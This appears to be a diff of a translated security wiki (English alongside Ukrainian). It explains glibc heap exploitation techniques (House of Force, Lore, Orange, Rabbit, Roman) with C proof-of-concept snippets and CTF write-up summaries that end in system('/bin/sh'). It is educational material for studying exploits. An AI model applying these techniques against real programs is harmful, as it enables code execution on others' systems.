If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space.
Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
Якщо зловмисник хоче виділити шматок пам'яті за адресою P, щоб перезаписати значення тут. Він починає з перезапису розміру верхнього шматка на `-1` (можливо, з переповненням). Це забезпечує, що malloc не буде використовувати mmap для будь-якого виділення, оскільки верхній шматок завжди матиме достатньо місця.
Потім обчисліть відстань між адресою верхнього шматка та цільовим простором для виділення. Це тому, що malloc з таким розміром буде виконано для переміщення верхнього шматка на цю позицію. Ось як різницю/розмір можна легко обчислити:
```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
```
Отже, виділення розміру `target - old_top - 4*sizeof(long)` (4 long'и через метадані верхнього шматка та нового шматка при виділенні) перемістить верхній шматок до адреси, яку ми хочемо перезаписати.\
Потім виконайте ще один malloc, щоб отримати шматок за адресою цілі.
Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
Then, do another malloc to get a chunk at the target address.
### References & Other Examples
### Посилання та інші приклади
- [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address.
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
- The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function
- The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff)
- Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc`
- Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function
- Мета цього сценарію - ret2win, де нам потрібно змінити адресу функції, яка буде викликана адресою функції ret2win
- Бінарний файл має переповнення, яке можна використати для зміни розміру верхнього шматка, який змінюється на -1 або p64(0xffffffffffffffff)
- Потім обчислюється адреса місця, де існує вказівник для перезапису, і різниця від поточної позиції верхнього шматка до цього місця виділяється за допомогою `malloc`
- Нарешті, виділяється новий шматок, який міститиме цю бажану ціль, всередині якої перезаписується функція ret2win
- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap
- Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**.
- Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh`
- An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`.
- У `Input your name:` є початкова вразливість, яка дозволяє витікати адресу з купи
- Потім у функціональності `Org:` та `Host:` можливо заповнити 64B вказівника `s`, коли запитують **назву організації**, яка в стеку слідує за адресою v2, яка потім слідує за вказаною **назвою хоста**. Оскільки потім strcpy буде копіювати вміст s в шматок розміром 64B, можливо **перезаписати розмір верхнього шматка** даними, вставленими в **назву хоста**.
- Тепер, коли можливе довільне записування, GOT `atoi` було перезаписано на адресу printf. Потім стало можливим витікати адресу `IO_2_1_stderr` _з_ `%24$p`. І з цим витоком libc стало можливим знову перезаписати GOT `atoi` адресою `system` і викликати його, передавши як параметр `/bin/sh`
- Альтернативний метод [пропонований у цьому іншому описі](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud) полягає в перезаписуванні `free` на `puts`, а потім додаванні адреси `atoi@got` у вказівник, який пізніше буде звільнений, щоб він був витік і з цим витоком знову перезаписати `atoi@got` на `system` і викликати його з `/bin/sh`.
- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
- There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
- Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
- Існує UAF, що дозволяє повторно використовувати шматок, який був звільнений без очищення вказівника. Оскільки є деякі методи читання, можливо витікати адресу libc, записуючи вказівник на функцію free в GOT тут, а потім викликаючи функцію читання.
- Потім House of force було використано (зловживаючи UAF), щоб перезаписати розмір лівого простору на -1, виділити шматок достатнього розміру, щоб дістатися до free hook, а потім виділити ще один шматок, який міститиме free hook. Потім запишіть у hook адресу `system`, запишіть у шматок `"/bin/sh"` і нарешті звільніть шматок з вмістом цього рядка.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
### Code
### Код
- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- This isn't working
- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
- Перевірте той, що з [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- Це не працює
- Або: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- Це не працює, навіть якщо намагається обійти деякі перевірки, отримуючи помилку: `malloc(): unaligned tcache chunk detected`
- Цей приклад все ще працює: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
### Goal
### Мета
- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\
Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position.
- Вставити **фальшивий малий шматок у малий бін, щоб потім його можна було виділити**.\
Зверніть увагу, що доданий малий шматок є фальшивим, який створює зловмисник, а не фальшивим у довільній позиції.
### Requirements
### Вимоги
- Create 2 fake chunks and link them together and with the legit chunk in the small bin:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- Створити 2 фальшивих шматки та зв'язати їх разом і з легітимним шматком у малому біні:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (вам потрібно змінити вказівник у звільненому малому бін-шматку через іншу уразливість)
- `legit.bk` -> `fake0`
Then you will be able to allocate `fake0`.
Тоді ви зможете виділити `fake0`.
### Attack
### Атака
- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.**
- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins
- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it.
- Малий шматок (`legit`) виділяється, потім виділяється ще один, щоб запобігти консолідації з верхнім шматком. Потім `legit` звільняється (переміщаючи його в список незасортованих бінів), і виділяється більший шматок, **переміщуючи `legit` у малий бін.**
- Зловмисник генерує кілька фальшивих малих шматків і робить необхідне зв'язування, щоб обійти перевірки:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (вам потрібно змінити вказівник у звільненому малому бін-шматку через іншу уразливість)
- `legit.bk` -> `fake0`
- Малий шматок виділяється, щоб отримати легітимний, роблячи **`fake0`** верхнім у списку малих бінів
- Ще один малий шматок виділяється, отримуючи `fake0` як шматок, що потенційно дозволяє читати/записувати вказівники всередині нього.
## References
## Посилання
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore)

View File

@ -6,66 +6,66 @@
### Code
- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26)
- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
- Знайдіть приклад у [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- Техніка експлуатації була виправлена в цьому [патчі](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0), тому це більше не працює (працює в версіях раніше 2.26)
- Той же приклад **з більшою кількістю коментарів** у [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
### Goal
- Abuse `malloc_printerr` function
- Зловживати функцією `malloc_printerr`
### Requirements
- Overwrite the top chunk size
- Libc and heap leaks
- Перезаписати розмір верхнього блоку
- Витоки libc та heap
### Background
Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
Деяка необхідна інформація з коментарів з [**цього прикладу**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\
This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\
Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution
Справа в тому, що в старіших версіях libc, коли викликалася функція `malloc_printerr`, вона **перебирала список структур `_IO_FILE`, що зберігаються в `_IO_list_all`**, і фактично **виконувала** вказівник інструкції в цій структурі.\
Ця атака підробить **фальшиву структуру `_IO_FILE`**, яку ми запишемо в **`_IO_list_all`**, і змусить `malloc_printerr` запуститися.\
Тоді вона **виконає будь-яку адресу**, яку ми зберегли в таблиці стрибків структур **`_IO_FILE`**, і ми отримаємо виконання коду.
### Attack
The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.
Атака починається з того, що вдається отримати **верхній блок** всередині **несортованого контейнера**. Це досягається шляхом виклику `malloc` з розміром, більшим за поточний розмір верхнього блоку, але меншим за **`mmp_.mmap_threshold`** (за замовчуванням 128K), що в іншому випадку викликало б виділення `mmap`. Коли розмір верхнього блоку змінюється, важливо переконатися, що **верхній блок + його розмір** вирівняні по сторінках і що біт **prev_inuse** верхнього блоку завжди встановлений.
To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin.
Щоб отримати верхній блок всередині несортованого контейнера, виділіть блок, щоб створити верхній блок, змініть розмір верхнього блоку (з переповненням у виділеному блоці), щоб **верхній блок + розмір** був вирівняний по сторінках з встановленим бітом **prev_inuse**. Потім виділіть блок, більший за новий розмір верхнього блоку. Зверніть увагу, що `free` ніколи не викликається, щоб отримати верхній блок у несортований контейнер.
The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), its possible to leak libc addresses from it and get the address of **\_IO_list_all**.
Старий верхній блок тепер у несортованому контейнері. Припускаючи, що ми можемо читати дані всередині нього (можливо, через вразливість, яка також викликала переповнення), можливо витягти адреси libc з нього та отримати адресу **\_IO_list_all**.
An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**.
Атака на несортований контейнер виконується шляхом зловживання переповненням, щоб записати `topChunk->bk->fwd = _IO_list_all - 0x10`. Коли виділяється новий блок, старий верхній блок буде розділений, і вказівник на несортований контейнер буде записаний у **`_IO_list_all`**.
The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes:
Наступний крок полягає в зменшенні розміру старого верхнього блоку, щоб він помістився в малий контейнер, зокрема, встановивши його розмір на **0x61**. Це має дві мети:
1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack.
2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`.
1. **Вставка в Малий Контейнер 4**: Коли `malloc` сканує несортований контейнер і бачить цей блок, він спробує вставити його в малий контейнер 4 через його малий розмір. Це призводить до того, що блок опиняється на початку списку малого контейнера 4, що є місцем для вказівника FD блоку **`_IO_list_all`**, оскільки ми записали близьку адресу в **`_IO_list_all`** через атаку на несортований контейнер.
2. **Виклик Перевірки Malloc**: Ця маніпуляція з розміром блоку призведе до того, що `malloc` виконає внутрішні перевірки. Коли він перевіряє розмір фальшивого блоку вперед, який буде нульовим, це викликає помилку і викликає `malloc_printerr`.
The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed.
Маніпуляція з малим контейнером дозволить вам контролювати вказівник вперед блоку. Перекриття з **\_IO_list_all** використовується для підробки фальшивої структури **\_IO_FILE**. Структура ретельно розроблена, щоб включати ключові поля, такі як `_IO_write_base` і `_IO_write_ptr`, встановлені на значення, які проходять внутрішні перевірки в libc. Крім того, в фальшивій структурі створюється таблиця стрибків, де вказівник інструкції встановлюється на адресу, де може бути виконаний довільний код (наприклад, функція `system`).
To summarize the remaining part of the technique:
Щоб підсумувати залишок техніки:
- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin.
- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow.
- **Зменшити Старий Верхній Блок**: Відрегулюйте розмір старого верхнього блоку на **0x61**, щоб помістити його в малий контейнер.
- **Налаштувати Фальшиву Структуру `_IO_FILE`**: Перекрийте старий верхній блок з фальшивою структурою **\_IO_FILE** та налаштуйте поля відповідно, щоб захопити потік виконання.
The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed.
Наступний крок полягає в підробці фальшивої структури **\_IO_FILE**, яка перекриває старий верхній блок, що наразі знаходиться в несортованому контейнері. Перші байти цієї структури ретельно розроблені, щоб включати вказівник на команду (наприклад, "/bin/sh"), яка буде виконана.
Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands.
Ключові поля у фальшивій структурі **\_IO_FILE**, такі як `_IO_write_base` і `_IO_write_ptr`, встановлені на значення, які проходять внутрішні перевірки в libc. Крім того, в фальшивій структурі створюється таблиця стрибків, де вказівник інструкції встановлюється на адресу, де може бути виконаний довільний код. Зазвичай це буде адреса функції `system` або іншої функції, яка може виконувати команди оболонки.
The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed.
Атака завершується, коли виклик `malloc` викликає виконання коду через маніпульовану структуру **\_IO_FILE**. Це ефективно дозволяє виконання довільного коду, зазвичай призводячи до появи оболонки або виконання іншого шкідливого корисного навантаження.
**Summary of the Attack:**
**Підсумок Атаки:**
1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size.
2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk.
3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin.
4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow.
5. **Shrink the old top chunk**: Adjust its size to fit into a small bin.
6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow.
7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code.
1. **Налаштуйте верхній блок**: Виділіть блок і змініть розмір верхнього блоку.
2. **Примусьте верхній блок у несортований контейнер**: Виділіть більший блок.
3. **Витягніть адреси libc**: Використовуйте вразливість, щоб читати з несортованого контейнера.
4. **Виконайте атаку на несортований контейнер**: Запишіть у **\_IO_list_all** за допомогою переповнення.
5. **Зменшіть старий верхній блок**: Відрегулюйте його розмір, щоб помістити в малий контейнер.
6. **Налаштуйте фальшиву структуру \_IO_FILE**: Підробіть фальшиву структуру файлу, щоб захопити потік виконання.
7. **Викличте виконання коду**: Виділіть блок, щоб виконати атаку та запустити довільний код.
This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities.
Цей підхід експлуатує механізми управління купою, витоки інформації libc та переповнення купи, щоб досягти виконання коду без прямого виклику `free`. Ретельно підробляючи фальшиву структуру **\_IO_FILE** та розміщуючи її в правильному місці, атака може захопити потік виконання під час стандартних операцій виділення пам'яті. Це дозволяє виконання довільного коду, що потенційно призводить до появи оболонки або інших шкідливих дій.
## References

View File

@ -2,110 +2,92 @@
{{#include ../../banners/hacktricks-training.md}}
### Requirements
### Вимоги
1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
1. **Здатність змінювати вказівник fd швидкого бін або розмір**: Це означає, що ви можете змінити вказівник вперед для частини в швидкому біні або її розмір.
2. **Здатність викликати `malloc_consolidate`**: Це можна зробити, або виділивши велику частину, або об'єднавши верхню частину, що змушує купу об'єднувати частини.
### Goals
### Цілі
1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
1. **Створити перекриваючі частини**: Щоб одна частина перекривалася з іншою, що дозволяє подальші маніпуляції з купою.
2. **Підробити фальшиві частини**: Щоб обманути аллокатор, змусивши його вважати фальшиву частину легітимною під час операцій з купою.
## Steps of the attack
## Кроки атаки
### POC 1: Modify the size of a fast bin chunk
### POC 1: Змінити розмір частини швидкого біна
**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
- **Step 1: Allocate Chunks**
**Мета**: Створити перекриваючу частину, маніпулюючи розміром частини швидкого біна.
- **Крок 1: Виділити частини**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
Ми виділяємо два шматки по 0x40 байт кожен. Ці шматки будуть поміщені в список швидких бінів після звільнення.
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
- **Step 2: Free Chunks**
- **Крок 2: Звільнити шматки**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
Ми звільняємо обидва шматки, додаючи їх до списку fastbin.
We free both chunks, adding them to the fastbin list.
- **Step 3: Modify Chunk Size**
- **Крок 3: Змінити Розмір Шматка**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
Ми змінюємо метадані розміру `chunk1` на 0xa1. Це критично важливий крок, щоб обманути аллокатор під час консолідації.
We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation.
- **Step 4: Trigger `malloc_consolidate`**
- **Крок 4: Викликати `malloc_consolidate`**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
Виділення великого блоку викликає функцію `malloc_consolidate`, об'єднуючи маленькі блоки в швидкому біні. Маніпульований розмір `chunk1` призводить до його перекриття з `chunk2`.
Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
Після консолідації `chunk1` перекривається з `chunk2`, що дозволяє подальшу експлуатацію.
After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
### POC 2: Модифікуйте вказівник `fd`
### POC 2: Modify the `fd` pointer
**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
- **Step 1: Allocate Chunks**
**Мета**: Створити фейковий блок, маніпулюючи вказівником `fd` швидкого біна.
- **Крок 1: Виділити блоки**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Пояснення**: Ми виділяємо два шматки, один менший і один більший, щоб налаштувати купу для фейкового шматка.
**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
- **Step 2: Create fake chunk**
- **Крок 2: Створити фейковий шматок**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
Ми записуємо підроблену метадані частини в `chunk2`, щоб змоделювати менші частини.
We write fake chunk metadata into `chunk2` to simulate smaller chunks.
- **Step 3: Free `chunk1`**
- **Крок 3: Вивільнити `chunk1`**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
**Пояснення**: Ми звільняємо `chunk1`, додаючи його до списку fastbin.
**Explanation**: We free `chunk1`, adding it to the fastbin list.
- **Step 4: Modify `fd` of `chunk1`**
- **Крок 4: Змінити `fd` `chunk1`**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Пояснення**: Ми змінюємо вказівник вперед (`fd`) `chunk1`, щоб він вказував на наш фейковий шматок всередині `chunk2`.
**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
- **Step 5: Trigger `malloc_consolidate`**
- **Крок 5: Виклик `malloc_consolidate`**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
Виділення великого блоку знову викликає `malloc_consolidate`, який обробляє фейковий блок.
Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk.
Фейковий блок стає частиною списку fastbin, що робить його легітимним блоком для подальшої експлуатації.
The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
### Резюме
### Summary
The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
Техніка **House of Rabbit** полягає в модифікації розміру блоку fast bin для створення перекриваючих блоків або маніпуляції вказівником `fd` для створення фейкових блоків. Це дозволяє зловмисникам підробляти легітимні блоки в купі, що відкриває можливості для різних форм експлуатації. Розуміння та практика цих кроків покращить ваші навички експлуатації купи.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,87 +2,82 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
Це була дуже цікава техніка, яка дозволяла отримати RCE без leaks через фальшиві fastbins, атаку unsorted_bin та відносні перезаписи. Однак вона була [**виправлена**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Code
### Код
- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
- Ви можете знайти приклад у [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
### Goal
### Мета
- RCE by abusing relative pointers
- RCE шляхом зловживання відносними вказівниками
### Requirements
### Вимоги
- Edit fastbin and unsorted bin pointers
- 12 bits of randomness must be brute forced (0.02% chance) of working
- Редагувати вказівники fastbin та unsorted bin
- 12 біт випадковості повинні бути перебрані (0.02% шанс) на успіх
## Attack Steps
## Кроки атаки
### Part 1: Fastbin Chunk points to \_\_malloc_hook
### Частина 1: Fastbin Chunk вказує на \_\_malloc_hook
Create several chunks:
Створіть кілька чанків:
- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value.
- `chunk2` (0x80, offset 0x70): For good alignment
- `main_arena_use` (0x80, offset 0x100)
- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk
- `fastbin_victim` (0x60, зсув 0): UAF чанк, який пізніше редагуватиме вказівник купи, щоб вказувати на значення LibC.
- `chunk2` (0x80, зсув 0x70): Для хорошого вирівнювання
- `main_arena_use` (0x80, зсув 0x100)
- `relative_offset_heap` (0x60, зсув 0x190): відносний зсув на чанку 'main_arena_use'
Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers.
Потім `free(main_arena_use)`, що помістить цей чанк у неупорядкований список і отримає вказівник на `main_arena + 0x68` в обох вказівниках `fd` та `bk`.
